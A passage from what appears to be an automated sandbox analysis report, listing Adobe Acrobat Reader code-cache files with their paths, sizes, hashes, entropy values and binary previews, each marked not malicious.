Preview:	0\r..m......;...I......._keyhttps://rna-resource.acrobat.com/static/js/desktop.js .<{...[/....."#.D....;..A.A..Eo......=.]...........q.O...j....._y..L^z...?..@N..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\56c4cd218555ae2b_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	244
Entropy (8bit):	5.636900786213776
Encrypted:	false
SSDEEP:	6:mt9YOFLvEWdVFLBKFjVFLBKFlyNlClt8twSeKaT9pr1:URVFAFjVFAFslIGtwSeKaTL
MD5:	B87DDD2A4C67D80A62C7D20E81BDF085
SHA1:	322AA0A7D85EA307F3567CE4EF2E792548228EE0
SHA-256:	51E0F65CF1E645E2FB9F430946D755C0FD6885FE5C1D3E63852A8D68885CC826
SHA-512:	068F23408FCBC2A49653657FFAD355B6B048B27FE2156B86C3124E67C3FA67FFCBE214B3DB586040BF6C05130625EE973A39111C935A85394D76AC38B77BCF3D
Malicious:	false
Preview:	0\r..m......t...R.1<...._keyhttps://rna-resource.acrobat.com/static/js/plugins/tracked-send/js/plugins/tracked-send/js/home-view/plugin.js .(....[/....."#.D).'.;..A.A..Eo.......................H...{...2../.k`..r4.C. .A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\6fb6d030c4ebbc21_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	211
Entropy (8bit):	5.548785642692847
Encrypted:	false
SSDEEP:	6:ms2VYOFLvEWdvBIEGdeXuq/lk3hltEg11:BsR2Eseh/lk3ji
MD5:	F4ACE86F07D433D4E0143D9B4C605EA1
SHA1:	1C92B1DCF2962CF2F64E9CF3D277926A2F063F18
SHA-256:	3D7FDBC75BB34C204A195F04DFDFB9D023288BD6D75F0B0A02B639038A171D2F
SHA-512:	87795DCB1E704F55FC8A7722FA95FBA8A2CA6703C5DAC71936D6C506B3A174B8F3A835ECBD34F4E869483949FFC57919A593E06B613FAE98B1311753FF636588
Malicious:	false
Preview:	0\r..m......S...]......._keyhttps://rna-resource.acrobat.com/static/js/plugins/add-account/js/selector.js .1'...[/....."#.D5c!.;..A.A..Eo......Z...........A.o]@r..Q.....<w.....].n\....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\7120c35b509b0fae_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	202
Entropy (8bit):	5.691202253852212
Encrypted:	false
SSDEEP:	6:maVYOFLvEWdwAPCQns1ltMxm7OhKlvA1:RbR16sg+xmJ
MD5:	818BAA62C00145262DCF51CF8C1AA662
SHA1:	AB3AFA8C029923F70D06D1C44547B91B622D72F8
SHA-256:	067221AB727B76738233FAE5AEA85B30818A3A2AA2CFF40E7319E7DDF99E4876
SHA-512:	27480B84F9B280ED4F89213AC30CC1AD6B3AC84DCC6C6F3A0807A75AC87C938E4E0DBD005ABB89636624C1F3D73075C7F21E9B86FFC506ABABCB43940FDB8989
Malicious:	false
Preview:	0\r..m......J......{...._keyhttps://rna-resource.acrobat.com/static/js/plugins/home/js/plugin.js ......[/....."#.D....;..A.A..Eo.........6..........4T].....Tw.....(..b...EO....9.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\71febec55d5c75cd_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	211
Entropy (8bit):	5.616678666196606
Encrypted:	false
SSDEEP:	6:ms2gEYOFLvEWdGQRQVuMkln3hlt9IlddFt1:B2geRHRQfkln3jHY
MD5:	26619F85BC4E40D69E3E567050EB72B6
SHA1:	0AE40E1C2E0232E7FF775F37510C6E691B502B22
SHA-256:	5D17F7201C56A42546C4968A523DDD26045DF042CA94F125AE33A6C1BB79CA22
SHA-512:	138C3BC9155387BF67C31CF083CA58322A8965571CDD5BCBDC45C0035F2E563D98AE8D73B9C91EA00C686FDFFDF87F4EA20CC1575F3B8BBBE9B373900DECCB6A
Malicious:	false
Preview:	0\r..m......S...W.%z...._keyhttps://rna-resource.acrobat.com/static/js/plugins/my-computer/js/selector.js .i....[/....."#.D.P!.;..A.A..Eo..................@..{o]...9o\|..qY....T....{..u.b..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\86b8040b7132b608_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	206
Entropy (8bit):	5.638034623330599
Encrypted:	false
SSDEEP:	6:mzyEYOFLvEWdrIOQDWi9hlt+tuEt1S/1:WyeRlEWi9IuEt1
MD5:	A194A7B2CEE56E1B641FA93A559DB57C
SHA1:	9F7813AAF78A465286C1A26DD0FF8C157CA5BD0F
SHA-256:	3A58CCD48250B96B84B2F2E5B0F1E7C529A252F5A2C08DECDE118A3C6F4BF653
SHA-512:	9BF91D2EEAC02AA584B1ACD670412A5BD57888DDA2F6C9AED29A8104141C7BE1B40D2D948BF3C3A3543AB6F42AAB1EBF5BA6BF3534F44A5C0E71CCFFBF2674A5
Malicious:	false
Preview:	0\r..m......N..../......_keyhttps://rna-resource.acrobat.com/static/js/plugins/my-files/js/plugin.js .4....[/....."#.D....;..A.A..Eo..................t\a......x5.'OuE.C..@......x..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\8c159cc5880890bc_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	218
Entropy (8bit):	5.550290192234075
Encrypted:	false
SSDEEP:	3:m+lKcv8RzYOCGLvHkWBGKuKjXKoyNH/KPWFvBaJ1tHju/MktGzHwlwJNqww6U+5y:mnYOFLvEWdhwyum1Du/ltFlwrqwK+41
MD5:	98035BE94BB273E35378975BC01288D8
SHA1:	CB010361808A2AAAE8B67F4CF0B40EC0685CB71E
SHA-256:	A64240A0B7DA71C4D16A06471E976D5EEA60969B15A57FE0D0423C8E7447A16C
SHA-512:	322E34B093D337B45F00576D084967AEAEFD98A077467AAC1135BA556E1B3CFF32379798EB6783543B877FE6D3E3F10B81D7EC30A5BE65697A6A16D5E1FAD713
Malicious:	false
Preview:	0\r..m......Z.........._keyhttps://rna-resource.acrobat.com/static/js/plugins/sign-services-auth/js/selector.js ......[/....."#.D.t..;..A.A..Eo.......S\H...............7...o..a=.98I......(3.$G.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\8c84d92a9dbce3e0_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	230
Entropy (8bit):	5.57859062450931
Encrypted:	false
SSDEEP:	6:mYXYOFLvEWdrROk/RJbukK8Thltt4fO441:/RrROk/tK8H8fL
MD5:	251CD688A8C267C18AAE23D33557C485
SHA1:	C6214525DBF01C4A8160B0EBF83833C2536DD00D
SHA-256:	313BB04676A3F319C361482E6DEDA903F299CF80F0A6490D324ABE4857334B69
SHA-512:	27D92B711F0599898A4E1ADD00BF54BD24C0A6B0FF1F1146ED8B75FB3D9B0565CD86F6346C213DE35DE1E866B243B96411F3A14F6EAFC519B24DA901477A5320
Malicious:	false
Preview:	0\r..m......f...F......._keyhttps://rna-resource.acrobat.com/static/js/plugins/desktop-connector-files-select/js/selector.js ..a...[/....."#.D.b..;..A.A..Eo.......WZ...........~..rw.+[....!.)?..f.U..(=.=.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\8e417e79df3bf0e9_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	186
Entropy (8bit):	5.588810987211443
Encrypted:	false
SSDEEP:	3:m+lhD4ll08RzYOCGLvHkWBGKuKdTSVWd/ZG78qMktCllRzoIN1OFPL4m1:mmDEYOFLvEWXIWd/2xltm3zV1QPLr1
MD5:	B2B483860F9178D07FEB6785068E398D
SHA1:	781CE644C8C25123F08EC591A15B7833DA8EFD59
SHA-256:	568CD590E279A466D83159042C3CABECE85C2B745924AA03A2A0D01E72454265
SHA-512:	610C8C16058D58E053906E5786FD6D53411EF6D98CC6461F64908F98DD04506498C3D5B7E3A498AF5FA426D8733E5C6984D4039760824DB81354964B7B6C13AB
Malicious:	false
Preview:	0\r..m......:....f......_keyhttps://rna-resource.acrobat.com/static/js/config.js ..`...[/....."#.D....;..A.A..Eo....................~]...%s..<...n.f..<.....1#..U..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\91cec06bb2836fa5_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	207
Entropy (8bit):	5.585972229111599
Encrypted:	false
SSDEEP:	3:m+l+nq1A8RzYOCGLvHkWBGKuKjXKLNfKPWFve+ll5ok9hMktG9E8D6EsEJeUm1:m52YOFLvEWdMAuXl20hltG9EEvsEJ41
MD5:	9483DC3D7F506A9805A261266E989CD7
SHA1:	CBD55BCFD8388EA40D7A392EC33D129955211532
SHA-256:	80E496AC3B40C4A0B540815A7D2B2DEFCC68E5CA6989A18B06B70CC88C2E498F
SHA-512:	CDF47C97ED4C93D9A11F0A8848C2F1931F61BEAF0FB611C538C94DF0E4588EC9D978A9ED28243AA0561A367AA4B8F4F12574B739F617C3818550A14DEE34F79F
Malicious:	false
Preview:	0\r..m......O...a.Y....._keyhttps://rna-resource.acrobat.com/static/js/plugins/reviews/js/selector.js .rA...[/....."#.D..!.;..A.A..Eo......7v5I..........z._a...'.v.......4p3..1.']...A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\927a1596c37ebe5e_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.622093724005559
Encrypted:	false
SSDEEP:	6:mYilPYOFLvEWd8CAdAuvlx3hltk4ong1:6lJRklFjfo
MD5:	9B94F105984E2634FF961EE4A1C61D10
SHA1:	1BD7C2E6E985260D4B1BEE512A916378F2A5D69C
SHA-256:	2E6D4CD59423C1F2EDA2BDC1E494567D1D0CF198BA8B0B9B319CD0BDFB1B6B6B
SHA-512:	C1D746FBFF774172E26A547452159C4E2AA02FED31D8B94F35A150C2F51FAD44606C82219BF3B6499CADF6F2384622E47B976C1DDED716AD217658B096038A90
Malicious:	false
Preview:	0\r..m......R....\|....._keyhttps://rna-resource.acrobat.com/static/js/plugins/signatures/js/selector.js ..B...[/....."#.D.!.;..A.A..Eo........<........c}.H7M=M..-.....Ix..R.l...}Rl.$q.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\92c56fa2a6c4d5ba_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	223
Entropy (8bit):	5.586840623927083
Encrypted:	false
SSDEEP:	6:mY8nYOFLvEWdrROk/IupprMiqltYVN16wG1:F8hRrROk/trpQW
MD5:	E120EDD07F7ABC21267E4D60F1105150
SHA1:	F079BF90A34E3EFB38D612D1EC5C0B4ED17BF6BB
SHA-256:	F3E470D8F169FD374FE5A59DD587C506F94C8F6232E634FEFAB9F8EE1D8852C8
SHA-512:	6ECBD29A3036F92EE1B4BD06D501A7621A5BF7AD05E642C8B4A929D16454F59270D4EB74800F82384F218BB68D625B082F11011E6755B5E414894291382295EB
Malicious:	false
Preview:	0\r..m......_...h......_keyhttps://rna-resource.acrobat.com/static/js/plugins/desktop-connector-files/js/selector.js ..]...[/....."#.D....;..A.A..Eo......se.Y..........%.k.SZ..~W.....:)'B..ad......A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\946896ee27df7947_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	213
Entropy (8bit):	5.64206838944888
Encrypted:	false
SSDEEP:	6:mLrnYOFLvEWdrIoJUQ81tr40hltJoeJIi1:ehRcvtrTj8eJI
MD5:	C85126C4EAA61E2935ECE8F0C33FBC62
SHA1:	0A7F79D339C45A0EB57399D3E4152DC2B8E6C768
SHA-256:	AC4EC8A778410CD0170248CF1E371A71BF90C7C261F234CB158683CDEE9579D2
SHA-512:	F428E119519365DE7E017CF08B3256C62B45A1681AE8089EAFCEFC991ECE3D0C8102211F8EF467BB786D0592E5231415BD6745571DA410F2755867FD9A48EE6F
Malicious:	false
Preview:	0\r..m......U..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/my-files-select/js/plugin.js .n....[/....."#.Di...;..A.A..Eo........n..........;"./N_.,.:C..2....9L.H...3:...A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\983b7a3da8f39a46_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.574793636109528
Encrypted:	false
SSDEEP:	6:mOEYOFLvEWdrIhuJKtQltF/lnzgm2d/1:0RjKtCr/5R
MD5:	5F7AF8CEA92954B5953BD8894BB6E325
SHA1:	5DAFDAF14A899631FB8BE994C1E54FF4D693A6B8
SHA-256:	E76E5B8806383E2395A9B2AD6008EB5F3160C0877A34EB024D6E160EB7DBC008
SHA-512:	14C4C5DB8A2E46C635961EA5EFA6399FFB3BE25274C127D91C5D6C8A8E3A6167F56678A01F2FA8C2F61120F4BE636DEB0F6D94E97ACAA80263E41DAA4CE11063
Malicious:	false
Preview:	0\r..m......P....r......_keyhttps://rna-resource.acrobat.com/static/js/plugins/my-files/js/selector.js .%/...[/....."#.D....;..A.A..Eo.........{........Z.Z}Q..4.o....0+..[\|..n:*..U.W.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\aba6710fde0876af_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.609581978289309
Encrypted:	false
SSDEEP:	3:m+l8UElLA8RzYOCGLvHkWBGKuKPK7Cv9Rz1qMktLEBiaQ562HvpMm1:mAElVYOFLvEW1K2xYltlx56uvp1
MD5:	9B1A149C8D26EB82D5A5E3B4E4F1E008
SHA1:	18ECF8A5816A24FE66478A7DC3F070E2364E35C7
SHA-256:	7F56B95DAB25FE40CDBC57E8F5FE8A92CFEA6C6573C6BA7222ADF570AFE0D4D2
SHA-512:	52BA9DD83547733B9C986F24B060484444FC2605B0DD31E1F751FDF2563118801E0DD54C0BE5A95F4B562D4210068B84986F7A53BA1F70214E4970B886DD6FCB
Malicious:	false
Preview:	0\r..m......<...)6......_keyhttps://rna-resource.acrobat.com/static/js/rna-main.js ...r..[/....."#.D..;..A.A..Eo..................z?...SwC...^..y.....V..7R-O.....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\b6d5deb4812ac6e9_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	214
Entropy (8bit):	5.642125461382876
Encrypted:	false
SSDEEP:	6:mWYOFLvEWdBJvvuHV9l20hltO/lTUDLYtmOZn1:xRBJEV9lhj4tYDcFZ
MD5:	DA55280F66B319A14F817F86BBEB97E6
SHA1:	B4A3ADB857664C7D96F867A47324F2A6C5D565D6
SHA-256:	3286F9D6F1B8834C72AFB9E3D4BB82C05D9CCE361800CC481E455CE6E22F40C6
SHA-512:	5DBFA105062091DBD1C9844D0E51D1AB7EF9B3658A66BBC9D684039491525B9CFEB4A1A828F170295ACB760341306E1EAF54E672784D82DB262065EE1BAE92DA
Malicious:	false
Preview:	0\r..m......V.....h....._keyhttps://rna-resource.acrobat.com/static/js/plugins/activity-badge/js/selector.js ..?...[/....."#.D_\|!.;..A.A..Eo.......)..............t.q..W.EZ....1...[.zC.7mD..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\bba29d2e6197e2f4_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	211
Entropy (8bit):	5.5722717709502945
Encrypted:	false
SSDEEP:	6:msRPYOFLvEWIa7zp7Vu1/lm1ltJ5998VPu1:BPHPM/lSJ9m
MD5:	91FEB673D21E16AFBBDED4D4CAD4751C
SHA1:	6C74E511FEFCB304C6B166B14D4669118E466B39
SHA-256:	935A6611A90B6DBE0F0A5FC2868E363D2EBA87537C0189E4806B62796C119796
SHA-512:	2AFFE2DC7DE47E3AE17A1493FB7843C81A1EA89CC8E34908819EDC9DCA76ED85A6FA9D31D4516E5CFAB8735273CEFEC604B36E2F6EDE782A6D6DC98DDC471EAD
Malicious:	false
Preview:	0\r..m......S...{.j....._keyhttps://rna-resource.acrobat.com/static/js/libs/require/2.1.15/require.min.js ...o..[/....."#.D_{.;..A.A..Eo......9. ............L...Im.@.........E.nW...IP..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\bf0ac66ae1eb4a7f_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.628911693221753
Encrypted:	false
SSDEEP:	3:m+lQi9lC8RzYOCGLvHkWBGKuKjXKVRNUpXKLuV34/u0hMktdFll6F4XVAZ+8cV3I:mKPYOFLvEWdENU9Q7phltdMwiM3Y1
MD5:	648C8F1A37EC2A2C6B59E0BCAB5EB2C2
SHA1:	49D6B3BA959A8289E60F87D0EEB8346A1400C898
SHA-256:	2BDD725BB3FDB52FD88EB2A704D744D9DEACDE2948EECA11E0F8209666C5757F
SHA-512:	A34CC4DDAEE2B1C483DC06465F5E891139F27EA627973DB10DC7C878924B98EBB70CA16821E31A3FA686C368A404A35A3EE6C2B0416E75D13072830A7C3F0A22
Malicious:	false
Preview:	0\r..m......P...Yft....._keyhttps://rna-resource.acrobat.com/static/js/plugins/uss-search/js/plugin.js ....[/....."#.D^...;..A.A..Eo....................M....m+lS..e.....<7.U.P8*.0K.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\cf3e34002cde7e9c_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.648622584904974
Encrypted:	false
SSDEEP:	6:mQt6EYOFLvEWdccAHQ5al5eThltjjBRCh/41:XRc96al5qNDi/
MD5:	807BC76D709EDCD3CC90D34BE6241237
SHA1:	9672014C97103BA3B12A97A63DD1890AE3CF82B4
SHA-256:	3B99B7273AE5655BF9CF7E10F1254A053F36A0EDFAB93AD0B28D601244FDECCE
SHA-512:	99346CCCB5B3D69C32705406912ECC99794CC8BBD392F453728A01A6C7178F8B7A7DE36CEDEDB11FD8F47A8529A866A1D96E972EC7F058E5FBAA708B6A6DA80F
Malicious:	false
Preview:	0\r..m......P...W3......_keyhttps://rna-resource.acrobat.com/static/js/plugins/scan-files/js/plugin.js .K...[/....."#.D.8,.;..A.A..Eo.......-..........PJm...0x.x..RD...BB!@5..<..]....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\d449e58cb15daaf1_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	231
Entropy (8bit):	5.618515586885466
Encrypted:	false
SSDEEP:	6:mqs6XYOFLvEWdFCi5mhuEt/y/ltsgvkULlF4r1:bs6xRkiKt/utv7LlF4
MD5:	2D65DFE5E0E22DC21AB503C92999C57C
SHA1:	B5BFEE2CF11958567792E650647B10E15574954D
SHA-256:	8D687D059F03491E01E826F255FB93E211655E6CF5E5393A33AC3843EB9E44C3
SHA-512:	0E0B0E87B3EB1EF63FC762186200F2FB29DEDCE72CD4F98ECDD143F13BB6C2AEED38D62BE8FE617AA09670E92AF8B9659384B1E7F344DCCB6F111C2D30764DF8
Malicious:	false
Preview:	0\r..m......g...~.I?...._keyhttps://rna-resource.acrobat.com/static/js/plugins/aicuc/js/plugins/rhp/exportpdf-rna-selector.js ..nL..[/....."#.D.W,.;..A.A..Eo......^..M.........P...#4..l....5...5..).w.. .h.~..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\d88192ac53852604_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	215
Entropy (8bit):	5.541491028431216
Encrypted:	false
SSDEEP:	3:m+lPHYs8RzYOCGLvHkWBGKuKjXKXqjuSKPWFvNo+/Dru9hMktbCNECcu1isLK5m1:mhYOFLvEWd/aFuw+/Hu9hltbCNEN941
MD5:	AA0844B43907AC101E6CB4B83304B5FF
SHA1:	A81E81A431FA4CB99C783927A531037F9153AFBE
SHA-256:	981F38A299BE680E152B35FC79B2BBAA42B38E86BFC4736B28579869AFB82310
SHA-512:	D49D8E488B11F7BA985E0EC95FFEBC5F6F0E94219432C9FA38EE55E585100F99B71F58122F0DC8AD1AB3BF5B54642985092B731A5F3F75CE77ABB52B758C8E51
Malicious:	false
Preview:	0\r..m......W....w.m...._keyhttps://rna-resource.acrobat.com/static/js/plugins/my-recent-files/js/selector.js .....[/....."#.D....;..A.A..Eo......zV*............a.f.m.i.o.p..3U5.....^...I.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\de789e80edd740d6_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.563022573534017
Encrypted:	false
SSDEEP:	6:mR9YOFLvEWd7VIGXOdQd+u59hltKXVBMqVd3G4K41:2DRuRYH590VB9Vd2
MD5:	B451E5DDA0922BC318B03C9433677DDB
SHA1:	163CB86A6CAE713941F9E9D942208C96388C592F
SHA-256:	98B1E86D46C334FA2B1C0BF9A71524182F09AF3CA1AE50A1ED9E3CFB35FBF04D
SHA-512:	BDAE675247ACAF0BFB33EA02B370E3C80DDFC8062B72FC031FD5977C56F83C64E8F1003EAA8CF23996D96AF7D178001CFA08522009D491ED815B889692665A74
Malicious:	false
Preview:	0\r..m......P...y.p....._keyhttps://rna-resource.acrobat.com/static/js/plugins/app-center/js/plugin.js ....[/....."#.DU...;..A.A..Eo.......b+...........y.$..$.v5j...T...z.]..._S....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\f0cf6dfa8a1afa3d_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	208
Entropy (8bit):	5.576121068263361
Encrypted:	false
SSDEEP:	6:mkqYOFLvEWd8CAd9Qvh+uoqlt3AuA424r1:+RQcH3BLr
MD5:	B7929F7741ABE3FCCAC7129D113BBAD4
SHA1:	98CE755A3CBFD34C4EDD9510E1D1FEA4AF4AECDD
SHA-256:	F09FF31D8D12D64558BF478BB12760FB039EDF1C34128C6A6C83447BCB77549F
SHA-512:	86DEBBFF36999B8B798B503336BC58A6F53DBFD159A1B97D031D484C6CADA8542087EE61D0E7B9BFCFA835A27BEC2B78426B44F076A3302C55D1CD89D6812FDA
Malicious:	false
Preview:	0\r..m......P...gT....._keyhttps://rna-resource.acrobat.com/static/js/plugins/signatures/js/plugin.js .6....[/....."#.Ds.3.;..A.A..Eo......mc.{........#..@..k(v.8g..5.~_....]Pj.*..6.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\f4a0d4ca2f3b95da_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.602976353587929
Encrypted:	false
SSDEEP:	6:moXXYOFLvEWdENUAudqep/ltb/+yC8n1:xhRTbqu987
MD5:	38BA97D82D67FEFC55C46CBF11D10D29
SHA1:	0F8ADBA24317308DC5BDCC8A411D76264E3446DD
SHA-256:	D129014BFB8C1A3CAE432F1DC35D80723DBE8629C477D792A5DAF40A3CDE84AB
SHA-512:	A7B79B2D49CD68561F2E8FA73F196B999E95FFDBA0BC6CA95F6CBD6934E83E5A7E5E2FE3ED5812822A088839D7B5C5B34A7D32430775723C8EFE4BE35B2EB96C
Malicious:	false
Preview:	0\r..m......R..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/uss-search/js/selector.js .],...[/....."#.D.P..;..A.A..Eo.................8.../...;.\\o....1..........+..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\f941376b2efdd6e6_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	221
Entropy (8bit):	5.613255549588016
Encrypted:	false
SSDEEP:	6:mQZYOFLvEWdrROk/VQlwGThltunsLmB41:nRrROk/VuZHQnN
MD5:	9F3CA6EB22708090B9A9B9B299664B72
SHA1:	94EA2F62CFB25EA39405E81D1D2E9E263FC993A0
SHA-256:	030A729B6F1210991AB378DAA4836393E2968CDAD4993100A1831C7C5361B5FE
SHA-512:	5EBABE47513C3C1115B211A794C08DE61092829E3FADDC53C00F49A8688B8C0729F16A3A53A59E2BCD091D53B5387DADAFB077415A96E9E1733D62D0394890FE
Malicious:	false
Preview:	0\r..m......]......,...._keyhttps://rna-resource.acrobat.com/static/js/plugins/desktop-connector-files/js/plugin.js .;....[/....."#.D....;..A.A..Eo.......E.......... ./.ev......N~..6.b.....$.j;:C...A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\f971b7eda7fa05c3_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.587991702396494
Encrypted:	false
SSDEEP:	6:mZ/lXYOFLvEWdccAWu0/lA3hltNL5dm9741:qxRcG/lA3j7Vdu7
MD5:	3DEF38FE6402170FA23090E7E0B3754E
SHA1:	103211066C047DE4F422D4F3169F89746B08D29B
SHA-256:	429E4BC3E42B611E2204AA739D571C39ADA99C38885EC0CA2F525B70278A628C
SHA-512:	1A4491C185C548FB52512B8D4042296B035C2744ECB45B755609AA3E671E1D855946F935ED2ED72278C23401682F73B5A79FA7C6170E36E0A94A260BD533C279
Malicious:	false
Preview:	0\r..m......R...F......._keyhttps://rna-resource.acrobat.com/static/js/plugins/scan-files/js/selector.js ......[/....."#.D./!.;..A.A..Eo.......K.............U...I.>P...X...x..0U.~;m.x.k.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\fd17b2d8331c91e8_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	204
Entropy (8bit):	5.5818316592977695
Encrypted:	false
SSDEEP:	3:m+lUg18RzYOCGLvHkWBGKuKjXKrAUWiKPWFvMMmtwu9T1/Mkti/UB6shoq+Nem1:mMOYOFLvEWdwAPVui6uL/ltCUB6Jn1
MD5:	37CC46159C9EC061121175CA4503D4B8
SHA1:	F7AD56C1B1C4B1C8BD94792874EA66C68A57AC3D
SHA-256:	37866CEB4C8B8202B2400782231B26921AA9B98F701C458E8CB7AA0EA36221CE
SHA-512:	5A6FE9EAC032670CC506464EC83F5F8908FFD031501AD6CCAB06321D810571CA76B01C64B53305133CDED47BCD3DBA96D0BB8E845C0CE50065FAC0D5791C04FE
Malicious:	false
Preview:	0\r..m......L....Ey....._keyhttps://rna-resource.acrobat.com/static/js/plugins/home/js/selector.js ..)...[/....."#.D.#..;..A.A..Eo.......q.8.............k....F..D..O.n;[.1m.....=..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\fdd733564de6fbcb_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	modified
Size (bytes):	212
Entropy (8bit):	5.623994039037791
